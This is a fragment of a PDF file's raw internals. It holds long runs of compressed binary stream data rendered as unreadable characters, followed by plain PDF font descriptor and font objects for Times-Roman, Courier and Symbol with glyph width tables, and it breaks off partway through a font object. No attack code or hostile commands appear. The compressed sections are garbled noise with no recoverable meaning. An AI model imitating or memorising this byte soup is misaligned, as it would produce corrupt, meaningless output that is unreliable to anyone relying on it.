*Je**|UI("’ұ.%Hg(-H) +H(b7";sv|sj;s:jD-F.nD=G4D#1) ͑hVh6h ] ݑLd!=\D/F ܂[1pn;1#1 +wa48L$LƔ$%ܘK' I$5i4IQLcf`&fa6`.ISX.:2{ZUjZzg :x /cc^Nnb?^ÁpoQw.�#|O)>8/%u8opz?'_p +47?'gQ@19<{m d)fϲ,"^ +"+2^nlJW['*Uy-c5^ޯkkSX1l&l46cs[[ F.®`&a.{{fc@qsoaRn72wrqQEF#ñg b'r's{k\>!>GL3N3389s9Or>Lp!"..2>繜+\õ\[/%m|;{r?_7xoQw.#~O)?</%5<ox;~#+O /x +(suJJWYSy] u.V]KUQt.RWjKUEרuU]5tjjRTW7꫁RXMTijJW T+VMjꠎꢮPQzzfS @iknѭaM ם4Zwkjk&j&k[?O=ѣ4] Ll\ӓ@O-ԳZZZkVjZkV^6j6kEM۵ChvihUk:M$-NEn(eGdHlܴld/Av´,˴Pl֓PӰufZ7;cfNaiQݽ%`4PFnr=2jv)T5[Ȱ٢EE[9f Vpf<1(*ͣ-:cc}ǺaauBaPϰJ<!+U/WQT׺\սUPcVcrJ\a8 +dŐaxgt+X.vG9(Ay g l,Ks,(G+<`i!T1T`qA.˘@ÿ\cW(Q8ƨnr1jQ1n;7ʘv}8OĘ՞סFs4Rܴh2](g}Ve氝Mbcu,NiVf9-zdhjFZ0ze<ʪcײ/mrYʿ4 +5^|0|'Vq=j0f}mGCol0:a ƨud-IdcԢ,c{}^7i\9QvmG^n['1>o{AmEo=2~56u-Fl5k{dda?#x&"cʅ+DYᅰ!ֿ1 YqŚ»x|=.Ye=Y4Y|V +ks|e^Kb^lXBCǧ=o_cQVQsgG0p ߉-=M04O&Jm09\m)dmrYa{&xxqv};4ƣvhǻGã\{:hPS-2Ŀ>ccE t[۱Gʱx4z8fm2ݓ33ݖ[6\8;{$޼6$fCбERua +my?k;6RZ*C)v#;T' d,RGaYRpdwν;Y,G$ERH^oTgSBwG]r'5sudYTu4_·+#Z(Qs#s*+#e)CAeBɊ +:Srdy̤|CnT?F~$Zdf n"3#^~5LhF9]k<19rCPD KN?I_>Ɍ\#>^ralԸ2| +֓q]2|UcM9K&I&*|}/eƳQy /7ɱƼv?(Xi c3AXVʸY8WU4<Wqd,( lG~Y~p�ME*VAp@EnDX9h*~hgaPJfC;HVB{Jg=&ua3xlEu!zME<}^|M h**۳s*sTk;h*j!xw^wQUT죰y^1:>NFW剀p:8^'yހ?CEu!p +{ 8t '<™x8Ig)h=S*UlK!RQH6 6A=�?ɞ?Şobfmocvh{.RM/H#aR"%t|1U* ˔E{?W_S%BN` ^A*wr'.p7$ #[9r'xBWyo |od. %|.~)|)_w_�@A>C|6<lVհy?5| l_|�Vn G>a~ }8f5, + +:y-7In +f+$ l6]ЂЅ ;!`p]v 7#<`}5ZQ u`"� 8$B#"(8&bzsh FnM6fh"m-&D+C" N,;E',D8-Ȁ" ȁ{D8/({E/Oį*0V<VNfV!LΏ%Ipa>Wq*~Q-R+(Rf娺m.[5W3ύ + Cj:>m|ғà {.{r3v9V͢v]:4ॳbnglϖWU + ͡ZJU"~|ciUs:S1Y+q^iW'ZG8394i ڋo;=^tg+w qY؟TIS#6^*Wo5ɇ4,H[vur|t"M ;S:<;6ov9ݝ X9茇ͦD>j=x`Ёoӥt&Wowt4e{z3|-g6=2k+yT&Z֟ 7 ll8&Za +"fAu"D~WU«YDpCkJR`[4&Q3=*3|K.e}hFthf.ӥٞ]w?寭cϤz]]tt1I;&itKd1|Ir#AwBljj Enf$TY⎄6R3]cZ4hCbaBC0>KxMzRpR]F&]v(ϤC-={ڵklnֵٹlZsz;?frv<vڝ1tGL#^G^9뢁NoT.jeq9/'Gkߏ]KG-yMvutja253BEImpfJَβ?HΤ#V.˿eiV)i\~`*-=5ɩ;V3t\;{JjYl jِܱPX>x6dhx5U?)n[>ӟhyU62/҈h_:75fWE C Zc;ZY:1Q'yʺ YZɒ%ْ%˖,꺒e,16Nxp!0IMLr))iI(I3yHдɃ:JhBbvI\fb5LxKڕVZ͞]wc$5qU@,FV!B+RCwghw�񼘺DOq $o2.On=egW4X Dnb�acz ໭w$Ho2]%J]Ft P$$#$'Jpw1$G]qxZ [&g< +&] 2~ÙC}nj~wH}[h@eof˄clQ\]I4W_` D- q0L7M:E- +.gdMS('4i!SzC_)HZ +\Z1?%Dje`P4'S&5tJ"M`Nϧ 8e0zOo̲_V +LF"I"dֱWC_jj\EHxP0*uvbr㺝|f4?EЍWSLpTRV@ܯBïԀR! H:;l+n  ),;:1tO3*,#ܱ/d> �^!w{fGOQ%GlAvרE'kBw,_i9TQ*j+DHlPUzcYHVdžÍ�^p.ԇ(Q0!H41zg0M[r?កr6LE"~6(L崲c (? :nm!("M2[2-8qj& IFĪVAVݭ^S`Z`ZCyQ<`:oyĵˋ  0HaL3oZ+>U/54GH.uxyǶm;^Ծ Ɠrۏ5τxkt( )De+(ː)G,27rDHlS>$JbIJ`NY H\,[Nk{$8&Xcc9| 'ؤd v7&ͣύ//e⃪ J6q ]T0i5K�c~\F}} laϋ欷'CREQ9󺸳\C6S9͌ J(\t* F]RLFM8(]\P J<oQi1NN}+=VoQZ" o󺒃MPOjH-RD 6#G9pF~&2J(AK08F R#39�'Uft'ɾ[7޸yE?vES^{k`jTv-j׻᭛<;~�?Q,n*OƋ|kJu],!Ϧ),>Sϼ0jdB(]o,4%7aoר_M|wTԡXK,J4C3xYWV4DTuB'W$YGY]߱>ܙ=jiwA1tPcS1dbvh,+8h?w+s7+fMGoFh[&s{}Cx\t}= +|/иrC⧮u`̇=q J/gvIc}R!kPI&Xs-rBbv>Ҩ-/ID@M򸄔 .TE,Dk-.q'qI-$%T"C0P(H0ȗI7tP-"*>o1lJ?\�-7l B42J+څEDcm*zJ(W#9!"խZ +w7OM!8yr`Փ!\'wO7S{9wϩO٩+SXcwsX`f>"UoʉȝfLvFtjrRMD"AOR*r qEK�6cYKJEaf ɮt83wKJr?V7=Ji.2 k;`7;ݰjU*\bt:kcW�WnfG]q"hohq⭵q nX\"*R#rPײHQ~m/QhjiL$pt[찐4])gi=xFoϋ64GWvb6OCѓlA>4�}p>*-UנJBU( +e#Rpg>`鄴kc5\ߏ]$$?WmlSU~[nl]ۻvltmsaN7gI?, b!!# J( +HLI -=Ɨ11ys{ws>xam]߆094S.H; 8{ǰ1v{G7Vl/NN" #+HTLji5RMfDׇ8f^D$N"vUJouۏ=wjV^?s"Tg?:`5%OԻB!/yd)QM*7?Hbn|E5aE-FՠF-X "2%&pĎT"È{/G8Btr +=5J+xًHÑ-f~ ),]$ JwqtIq~\e~%hOH$Y?99ڸ1 cTRJ5!Ƽ*;{;+5wLSD7afJ9\ŬAe.e(] jU_^)_,3}e&N*@>(GB/* vpX12f4uZΆkU|ØI-~ l9 Rc{k鯩GGqW[. _ j6펦ZV`y..S f:gKc5Ocw()@~4)){^{5#wVE֫/srI ¹|RK.̙bR56T9%JW+bx >PA{cūR!%3adχųi:) +C7cq4҂:` Pb�TŜ+Vp pY-Y;;)9(̳VʵxԒY<E}yJ Ѱ6՛ioK54>^OASq==]&rl~oso,};H9k`Ws6'0Sb9mqŒ\cÆ0zf䜴2RY +q''$ 'h$U/S.wȝ,'-I(}JV(ᐯxc= Yh-;X)$?[sStX/ W]@`33jm;woIOv1o0swӊ6ʤ{UꐚQ, NjNk+X +V`O6i*î6甚7<Dֵmw@g׺ݰ'6=-@Paq 8 -PNx-Qxg`F\.R{w'~`[2TAy_^ 9Fy_I g<}_;SvwΑ[G6HC' F[~yL/Fpރ:&*jx ͠PZ_<甄Ṟ%(Jsцaq幉3O#�?c +endstream +endobj +41 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 662 +/Descent -250 +/Flags 34 +/FontBBox [-168 -218 1000 898] +/FontName /Times-Roman +/ItalicAngle 0 +/StemV 84 +/XHeight 450 +/StemH 84 +>> +endobj +42 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 99 +/FontBBox [-28 -250 742 805] +/FontName /Courier-Oblique +/ItalicAngle -15 +/StemV 51 +/XHeight 426 +/StemH 51 +>> +endobj +43 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 662 +/Descent -250 +/Flags 34 +/FontBBox [-168 -218 1000 898] +/FontName /Times-Roman +/ItalicAngle 0 +/StemV 84 +/XHeight 450 +/StemH 84 +>> +endobj +44 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 35 +/FontBBox [-28 -250 628 805] +/FontName /Courier +/ItalicAngle 0 +/StemV 51 +/XHeight 426 +/StemH 51 +>> +endobj +45 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 653 +/Descent -250 +/Flags 98 +/FontBBox [-169 -217 1010 883] +/FontName /Times-Italic +/ItalicAngle -15 +/StemV 76 +/XHeight 441 +/StemH 76 +>> +endobj +46 0 obj +<< +/Type /FontDescriptor +/Ascent 701 +/CapHeight 0 +/Descent -298 +/Flags 4 +/FontBBox [-167 -299 1094 827] +/FontName /JFOEFL+Symbol +/ItalicAngle 0 +/StemV 0 +/FontFile2 47 0 R +>> +endobj +47 0 obj +<< +/Filter /FlateDecode +/Length 18148 +/Length1 37096 +>> +stream +HW}tovgvfwvx$T1V` +%H1�pRfwfGf? =H$RBҔFDnH)FJ!)b�i + (_R`zgvvSo;o~w}of �`ȬGE6߻H -y�~*iۃEË|כ"�(Gʂ"CR$k�k/!TY2@6?. + ax ?&|4y㱨Fl,JjNu Jܐ&5`}["*҄ #j8R^:`Mk-.f PDr(Gd +<RF>z=�d vDXɬ0Z\&֒Q{'Vh(oIM/t@3t0 2?a ΄gf(ĠlVL&'` <9ֻ*<jAc^R +@yb Q(e23`<; . K9c+BҍtXf<x`AOw%b8B^rnT?F9.>{&[ft9p/7?$1EioBm0R,9"ZPVC1zqK1WgA RVû "rCaus7W ++y9 +}v| bJIfŰ]af!'^bnK :sic/&ibqVVn,<Hz<pD%qOV,0FܴNd0_WbzոGʃ}8Kg-0`,9Ϧs2`(~> #c9g tN�S|Nws <r A.5p9Io.u=}]:cwqR%CCIiUO#q7)[N2à$w֟>|s=~pŵ.K>N$Fb:k +.|M4)WSW&1qU&3&֘ϘZfFnb0q4gMls&n>Ss"QY ƼPL҅1Iip׼!Y+Op~%ʡXJ'KACzU{F$}ET5IQ~6CE A6GTJ_"J,{mԋ^Iv>S49AwªpDYR|GS5s>y죯1|A^$)4rH#n⩢Ș[n { qyRzP 3EØ _lJ{LըJ>WV +MW{i0Gv@C'B0Q/Tkwԯx0h̃!1ebPgo(ޞ#v=Io*S2Uɨxө29j8(ge\%u߶ }1M+)Gm1.5xwSC0dj}E_,L_/')LɆ' iSKhv F,b: +)=~(DcAt3}Z_B4ϠE?O<9ߌTKϤ4Q&h:Ii}<ڿmK,I~l71rŞմL㟤evM4|5FjO3wg0isn7i}03:=Z&6eV�!Wo칹&GZ-qxۜ%jDgVYUoVmz}osTB_'$l=u=:b8Z v'ًfa?[|Vllc6 + PH!kB ضK#_proc,fq7f q~pqmnnrYbX_̪sAlp}9RϨ# $pdz~YPknx{Ul` {^oO>Yx,m-+^r:@{(gKMC +چtU..~vʿYUQ4}T}|.]0Z֢_:M#Z݈9'I}#Ww]iy+-ٓf|G]$Yk}+GEyHt>g~4χU`n3�>÷NDKڂ<y|n1`K#Ny&f-+,rm:wo'v<pRF;`U/FKFA]'ܺhZoK ˃P@ lRZUC(`" t*u([a}&9}ys똦?vkXpK +q6=ߎUEgtha%X# T = DFĂ )> Z#v@FOܸ; )]# Pa?Nhey܌tɡ3TIgcnuɰz@L4Ʀ#=yr{ /v 6gs ,(֮ !#}Zy[QՑ`M}OŊJeǫl%lȘI ~M:xmd[3d*duWfPJ(Ƌ(&_}HD|x6L_+Vi=B=Jb[+h4םk) eeeP5gf'm(?9zp§Hi\iy͟eOβ*bn*:Rd[]r }J�r'"O%nE6P&Vi +]6"`;$lZv##Щ1YJ+h y SᾚPoTB[r.)!Ui}m[GǛmBWZDr{ـbHW}H,9k:]_HNNlcs gv9lR $NKxZ"NPC\}(Z+ 2"6ZY,wDck;(]\ի1d |x&3'|ɤ\adt +fkM1vՏ}[d؟lGA]kGz6 +a;e12.9w6ksFD�u<PnG 6f|YT}oۑ=$ƵoOi;2�NRͣFFl+&wvx\3UAxb((=GEz\j:kO;[nm< /[_;v }ƣ6퍏B)x﹓Sێ-͂a>c'xEfY8\1?t6G^cy=' $zGMlo<2лs ωgcݞ(XN95"*9v5/.ǵ' N%9� LU@FZ}6Cc~r^AS]Dca}^S.EK@twqZʭr/ }ɮܜHrEV;(X :4H 7!NjTFs? +q#v )c[:,U$# S@ #֘ɳiCld5bu3Nj02vrmua;I``"L)0y= y$,% kVZ!ڠ^xރ+3p.%7ĉ|L!/ sRC!ȯJBJv^9@BQ9Ey%LC 5Q+u<c!r:ΧOџ**h#}7黴~LO?i? fdY;&l"JLgOl{amv}NS,.KlSn#OC^Oe9"f{;�w.~$%ȣ +x@ FC! M)]߇;H3 &*$FΩG^?3EȤCL4 !hV,5L2`)C}m:*$sʢ]5K&z3i~03NF?rJ%hh&ÌQ$)nJ1!XYPEk;l= є;PnGv jѢh-Z X89f h67j46LІ6K`yX%qYRPG{n_ex]AMQ'j#YcwZõEjŪV OZ Ow=LKP)ji7Z`ڭ-BssK-$IY4LM ]i>s2Urk)-)ɺ{8ҁ{_Abc4-ْKj;x7\]MOA|8J tw'ZStm'>:D?lMx< uT=ιܽATۥq$wT6^juxEk +oa1Uz:2m�}➓̜[\~4s\K&k% 9R]A#%4qi:$g-1A=ni-MEBH-JASlc&9gYAB;`�6gM peN}XCؿݱp"ju/"h1b-G?e2ܶ|lH E&?4c- U9aQmZeӝey:Uۅܜ1<7*68m碅%-/ +@M=a[i)7ݶtR Qa+6Wt]Zb`ɧ7.,Z.]w*`CCW"E ->q  QQW}3z΂%muaQCф7x2e~3jNE2<?'| +8Fl cZ+\YiŬlѣxw + +m$nMKZLK{]M1ju97W_춁^C|#ZUrJ`=!򪲴ѓ6B/Zbuht׎xgMM =C-T\0xs^c qi,oWx.ΡM"MaqY +]Z.UlݦF8ZJeyJ-KeuZv@uň%<R]bZJWVO[[9;sbxdx2 ^F(sW6sH0asr:2(iY|/\i) Qғ =77l0e8ʐd ^RJNnI ET/[KKLK(2/ɾ ͓֘pəG&~ =A\NbD vAÊE Y�'kSseyL kkұR+`P1LtM(m4O24cZ:/)"YbZM.:qӠ-8Nn׀H#ԈHIpZcQPY/vjOF%*)<LEQøtj׹#H6)cn0k&)=_΋󦥏Zz~k֗A٭4'a>b vӽ1s^ yz+Db?pb9V#Ee MFkB//53z0/U4s^Vט/-^e9Ei m보JK0B{^ֲ$[OfIiPMyDNCoGr99! r2fd^n>g)MR>2xB./G=ی ِ3Ɛ1M F3^ZӜ\e@9{rv%.:U+B2Ԃ)ķ{itZ+Cl#BDZi|Yck.۞/ou٨ԟ_g+s4'G6{DSTD!WhE,i+{}Gh}("v4H)c,hL!Z+͜+jq|sбiJu㊾@> #f뺍ѬPfA{XevC4py4/+' nC< ΦߥnJY"ƾ=1ˢmI +o';P_y09K/s^-˲kyڴދaa{ &$w^ kYIڲǺ(ML2`>+ol4-¢cMH˽/ueAФ^"+G9UZ;߰fAimcRtk,yݔZz?HDabΰj^g+wZt-<{ϵ +{ZI,EK,ʻD;TjNqXÁ.o?F �|v9t<F73m{i~³pËp~30 -xZ=jP-G_B_EO>47h +DUtlx5^e a(:x <_/Wq*KD &Z mI $ȫw$E o_;=eX*f i`<„f3旌μμd12X-e%&v+ngw`ìϱ?e_`OeE{6u{k'm kǁB%%#иcRjk@I\�D$¤ & J H$dJ(S!qg)0<;y~ՏSzNR44-]j>m6IiOkӴgR-FyTܖ@M|*H2X8+ب&U+"⋨Tذ '6H&v1$ U$Sc@ s;Mё5Ѣ DزJ[k"')(åUNJŶ_xQ@Da #50p|sP&bܮ8H2p`߉"et�C+4&\/IqJ&! E8+(XՖ2)$n+ycT7qp>=On;)գo7<j$-'}qթY=0v}[BR}_$D> $FO[3JWw) H=vH-tiPEɵq>qzZ�.x\޹f@5 E?=WW`޳φaݠD0$..f'=C +o%NJ`�J/[~[Xx&D"&幱V!#^2Z].E[T 1; :Izz PQS yo 3I_.6э}onN#!ECfv ɖZW Vok(F$d:2εI:.,SRwQ2>s59>x�+];_U}\\_$-؁-NW{VW +t;=q^idۥkvo^2=zu|]ԝ@i:ͨcо- +>?}Yk=Y/aKg+Mvy{W<h@ m}Gd5ow!L~}d⡉}.F'+^_U9c.dpmF<:ELBrJ.s"FEkGkrn]wqg/ ^"Neվ.H$R_ΜXdm#kӻx]q8:\aK$]Hz'=i[<Hgk8:YfɓHg3s;divp +$_X^ɻ}S| _٥7[.Ng5"ƩWð!iW< vqS@XgºX;ujCvR aW'1_0b<92cF~~MFm]%G&\i^Jw'Y5EA͞gFcKrX78_G fO^O{c:7qvRŌM}2D1.fWXňd|@c[Fw{bӨ77Ȗ Vr#in3Sqbo,qH_LI$ z1$~wZv5; nm8" $0pxBrD\Ѡ>q TH^!09$ȅ*BU�0?BdWo/Mh caac/9֧|׈7gqO&"* AܸfcRC^%d'o&^&Aw}KIWr'_+Ĥ@=qQ7r:/͠$GIf7VZ.+h#5t@nnIzгt+]'<PrJdgJYSZVdiJ\OV*'R )+Հ1kVfgb),ygwٓ,|V~@]@y(6P&n`A`E]_;(/XzdVEXPod #KrQ.Id �eIa-Zp +ߏMq-zC!,>W` lĮX!ӑ, ` Iš #K0^<U)d5 N+FqLTEɧ(pb Z:6yy]0W'6CY@\eҿܐTp4oyڪw'E9/<-7A#>u7;(;֝ٴn;;:s=@z2>96響X2}l45a�C O!gG ([GvH]ו%f!cV+2%YexaK;*o%^D;u s:C$&‚HU/(;{ Mьw#MTb[&"DI2Q/ 5"D%h�Gqlg^aLF#\PN/o{w%ةU;nwo~ou9..9r{MgIރEuPry7)W~`^Q5{ fhCvN.|%7 .艂Gn_a濽eS|S ƜŽe33׾soU<3G]O\ΒA;E Ե)<k{rVmYuPoZnd /%/vZ 5k9(¼~Êci0!yʓWCfSu9|ċguT -^7pp]x]3 2*j]tn.)[lUu: P[NV垸kAǹvk6=hȜ~׻e:qMnCn> *j֢]-UЎ{&{e2qgOoM~ȗ3%q\ch߄Yr")\h͆D;d[o3-Ά- ȹGNxV[z +q8YsC<{nڎ[uCi*419cCU@0|[ +Ύo>d +8P%$uw~3k> +M*Of l $v&Y'4L\)M4~_Ztbw^~{Y'ڞY H#>7u1#'gNs'x SR9RP SaPz l`܃zꇰX+PO=a#B>8TG\Eu +;>88+H6U$UETV3m&ۨ%'YLz!I 6*.M'ȯQa&/%ȟ[mr\$ F3kQ_Aoߠ&E+\ZGߣ " ]EFJSoic-%dQk]nd3PmY-Ͼ2VUck:T^-l چXX7;Z%2WeJ*u|*%EP=5=JQRwc$T6+g٦6QǹWmpuP$*7w<{UB/x|^Kϯ6ˆep)`Tna nTHIQL{hWTuGy$7\ bqIPi2wM<HbDI=QK]w@@v9LtEėXUM7'H 7 6 FN+âF84$q_WF[}XaQ,4|vd-gwF>BS5b'Y4/Yb{e=')嗼Hܟipx>f2X0.yx4 S >\(v*IpdZ$х{)ۙrrBF;o{,HgQ_sW+ddn ,qf'G̀H#wqDjh z'? ІYxf 5EY.: `^y,'Y(g!b2 +@9%SY[`BEK�Tv//Q +<g@f$'`,& >Rö$ I7,E;tIquPAf;px_2O%:-JKhn>-䞌,hʣ(`ؒ%˲꫚Q, >ͨ>B)H >uzxe"AՒ3n6/i fqYYĞZ*[FMV9gp.5EX"y<-Oc1BOȚ{e3a jgl6@Xl4rK\ƢFsnn/Q*x#  T2T4#GEP \OӛƗzsuÈ*66AdT]Hֵ`-7YAHQ,$p^\@"0ĜM?Qv&2q= "Xpd1'Г[c\ESyɫ`pvo7kREmb Qc,bMbgoYp#ɂ^UԕE., u碚\r U]]qD5ܛ*إ@rzS mteb jCSZ7V541 Λ*鸖lA+,3+\^,B>HpeapENbџ, Iz dO [E~q�fgrV=UGٷ]iGubp+u]P?BVPs^R#鎓 +JW(45-Rst (N&pCL7fw"I:ofE�F9hUK],2|]<xݩߦтώ^951op#k]Q6>#GZ!+ !G.ۣ+Fs}Ehq[C W,\,F <ʊ_5#4тKe>�ech(ɓhD }&44, m2Eivpdk #)ضHeހ]]Aޖ6p=螇[87}XLڙwm6i,|xKciնŲe}Z2tKi4iE۳2(bFM� 0DdnFb) ("%؃Kmx2`5p +?bۣ,<e$I[8 s^rU W2`DJHK,Wm/?yHl@)OY=Bօ%,DYh1㺠Ǣguc +Mh{]Lv|ۢ eAhm 0b>E׫Ex8O-<zG C+XŔTO,êeDd22,4`GWp�i= Ges[Z8$~4m 骓 y)CpFHuEEuVk9"],+;Δ>m Fsael"S:p.nْȡZ)'ʂT[`Bm';u,\e!eKGhN(eZǂ͈-˭j]Da$"\.$e| c'aCB~GB@GijUyL;Bu.*:+3c|ĬF.2غ GI5AEm'bXoY` YIY h,b!3 K*@dQǀ} ="/ +o95" �ѵ`,OǶ+(vN8s^[d;^=#(nph5 +ob؎h=7RV սT2' {-ZD=Gf:>w).Z`I՝ʂWQ1m7XʂÌֱf(/3d$O<V/ةrPFv9r<#244"8^pzokEAU ^G &Q؂ޘדG +Gr̽fXP4iS~JG@U 59/( ܏ŃPq X:ZdB?ݓQx@įwPY|lk-G-lfͧEDE8;t+!:V6BDEjn}&Gt /ئbg)iE ސ ĥh:Ng u8k\XKv7 MHݨޔO3|ypb;0O$Ev}@KT\ +Z@}�Nݩ;֋nԺQ{, tASDugM+ ]nݹfeJUآ,dCYJ?n`hM4 !>k`5dmx+UiR|5Jc*U sL[h%rI6B\=if.Q*&ԮjfM5ȩG"#^ Mˠ2ЄӲJGljj#ձGt(F1|(JB{J`}Z2*^YۆUFH yn齗S/Iʢadn$I] 2w6Zl6H0e8B+ļ)#Y74Gs@s=j=EPo_Ki+[뾜 +Rup+G t6m4L>t-EJ[{D}:J/9:c MY,ltM}֎qЀ0/0 ~wm)s'X[4q]q/Gߴinrt\kZ( ﴠvF]> c +kg;x =BHp('#ȏ 9Y$/WkdOni6 k_kҾў+E]ִNSt_18}EZ?j?vE1-(4h[\X$Τ-5.PXGmTL1vnCצhϨUc~MNJ>L5Θs߽}޻f&kgs27`A=Hȓ<c$ɽ|9oNgW2%EJ%MIOIå1R4EJMM҇atUYNl)O_+ry&D)+yd%e2GYRVWcZG9V>UN+_*T.(*SUըԾ_x) uf<"=~<*1AdfC{TT@% +KpWBzH0#@$D`@D#h[ †cQWb?@E@б‰tl,uC"F %|#j22HDhk?)Q p};{^4NB?fQ[( R$F>#q\q\#aB@ cPЇwW-L #SDuz$!,x+x ν%PTyzxL;$=Y ߃EO5elެdQUw&HwRb~NIt֮;xgzXq/,}mlSU u֛Q.`TLΫeyY*ɵ3b:Ps-ӆʋ=?:[2OL,SؒҐo<HU޸l;P{ ʢӎ<??>*/|G+/9aR33 Ys&6.=9zDl\ +˯߬]_dX6:=gu] 3J*Ӗ7*EGcS1om'/t +TgurfN?{={mguEjW7Xv`,K[/J Η啿=!6>lW%=1?]*- Ջ7~᭜y~g~u=,sr%Kˆ䜫$ȼEmsԙ j}ې4/usUg#] uʞ;c1?L$RRe9cqф,57 6[ѷEݺ/lz_?qk0ôz8i3j^ٗWѧwN3<ڋ/';fs/SI/bL}kہU]9W}= `='(~'fVݚ<mIؓ\wXi Is sMi=F8%DGo^.xHPO `|?C᧐# @f\9x/@9^UPK0Z Mh?@`aCp3Sp*tMOXҗ$Db%$ !Hq< G&L%eLfJm5d#i$!+H3YMb&1N$_`fx\&H*I4>b +Mt(͢Obt*Fg`XAaYKХt]6C_"BhA;i0 giFևc,YX"@8 z@E`Tȓ( -ŨĘ^JPTcdݦRLuT1J2W~APݶ-<!FQ@17~I1*p%zn#C˺k"0."FaaIW +UĥUKrUzH{B%Y#Jc_)+lӌ~j\.%֣Nd./R?~nM:}/4(K %-qq f:F@v%d;@5p<_3lr1UNwI 6lhH`-ܦ@$|y6B6Ńӯ()wMDze񷫥nP%ps#By\G@Na�kuwŢ9]mxۍ"oDžsLŊ J>_@O=dȬu.o%^,I[,Q}.NGٌƄ[7?S2Ż~}Pn1 +sސ[J΄lpLD f-6 u OB Q Q3Q PGLXZK\bBkv +a d;of8o*G{y=DGV(C E h?겎|n.cnsle-�oc,Lr5pA-6w(Q9jY-##(.SP`Y#M8)ˑ0đy/Xs?|?#Vd!Ga<e[V7*{Bz=aԡ{8}bOtFbg%RmqF9).ϛDBNeTڽŏ<gxr$ebE;6VHur2TGE�>iуҩcC=鋝E;fԛ2rx b!4bRA=16̗V7vyUa>:xy AъD~1mFjJЈjk> }s}ԪHz7T#F**0>1f/}xl7-YTݒD֚a+W(a˕C{s_?K]HO_x,oYʑI&uEI<9A#$ϒ"ϐo??SIȿk ]˫D W? O<N kE!P R=ݖ_QΥ<K( 430~Ai�$Sq'<&hp<{Ge"Qd1pfb4G -ZJ|Dn=k2X0n0ۺ 7a!yP"dl&djz-hДCY}'A~e>QNwYls& Ew>i92bmߤ ^>p -ɯ{UnycJx=4{y;6H*Ѷerv6ୢkH 2 g�w1L/Il&FfDVxT7C Lϓ#ײkWn7bNcѲZVqW3fpWqWm=xyaیE˧S'ɏ+GeR^_еlG_C~\B~$L-AmB%2Ze>w<sfi~%9l O#ƚ3zYK֐a67+Ydy/#R  BKbIX%@Lϧ%z._ =Lr4NFM?FӁojq~Fk$M)]ɤL"+ЃU Qoh޲XbC﯃ +Rm6'M5/m9*0j[w$2=A}`y1H/t8/ dK߇Yʁ+>V|G9RrfzHYê.Bb8+?K)}S/(v3]u4ga Oe쟁gqF,4V>|g$A>�[,.ܷ,bw9۹Fm\˖Ւvlh@z0eWLM={&OY>v=SjHvjFʢbIILj3:#9榦HRocze#aV}z &䯧T̬̬|5-STX"T+ f)j™YڒyJ׼p֌)U5D+BųZ呪K;L q( +/koVSN ̬WʺpiEe%E E0P4m9س(`qMR>Wb^MS>%'=%YrOxX1jj(Qթj5jx/xKrle٧,,BU&CjGdM2,,{nX^VwLxj\|S\-b'’3%[8]|]݆~{Fۯ_{eύoV\,qQ :D+q܈k1\>;a/GpW`n0"?'w!k=Ԋ) o&v~|mC =q�E +endstream +endobj +4 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 146 +/Widths [250 0 0 0 0 0 833 0 0 0 0 0 0 333 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 722 667 722 722 667 611 0 778 389 500 0 667 944 722 778 +611 0 722 556 667 722 722 1000 722 722 667 0 0 0 0 0 +0 500 0 444 556 444 333 500 556 278 333 556 278 833 556 500 +556 0 444 389 333 556 500 0 500 500 444 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 333 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Bold +/FontDescriptor 38 0 R +>> +endobj +18 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JFOEBE+Courier-Bold +/Encoding /Identity-H +/DescendantFonts [ 48 0 R ] +/ToUnicode 49 0 R +>> +endobj +48 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JFOEBE+Courier-Bold +/FontDescriptor 36 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +233 [600] +] +>> +endobj +5 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 122 +/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 600 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 600 0 0 0 0 0 0 0 0 0 0 0 0 +600 0 0 0 0 600 0 0 0 0 0 0 0 0 0 0 +0 600 600 600 600 600 600 600 600 600 600 0 600 600 600 600 +600 0 600 600 600 600 0 0 600 600 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /JFOEBL+Courier-Bold +/FontDescriptor 39 0 R +>> +endobj +6 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 151 +/Widths [250 0 0 0 0 0 0 0 333 333 0 0 250 333 250 278 +500 500 500 500 500 500 500 500 500 500 278 278 0 0 0 0 +921 722 667 667 722 611 556 0 0 333 389 0 611 889 722 722 +556 722 667 556 611 722 722 944 0 722 611 0 0 0 0 500 +0 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500 +500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 333 444 444 0 0 1000 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Roman +/FontDescriptor 41 0 R +>> +endobj +7 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 124 +/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 600 600 0 +600 600 600 600 600 600 600 0 600 600 600 0 0 0 0 0 +0 600 0 0 0 600 0 600 0 600 600 0 600 600 600 0 +0 0 600 600 0 0 0 0 0 0 0 0 600 0 0 0 +0 600 600 600 600 600 600 600 600 600 600 0 600 600 600 600 +600 0 600 600 600 600 600 600 600 0 600 0 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier-Oblique +/FontDescriptor 42 0 R +>> +endobj +8 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 222 +/LastChar 223 +/Widths [556 556 ] +/Encoding /MacRomanEncoding +/BaseFont /Times-Roman +/FontDescriptor 43 0 R +>> +endobj +9 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 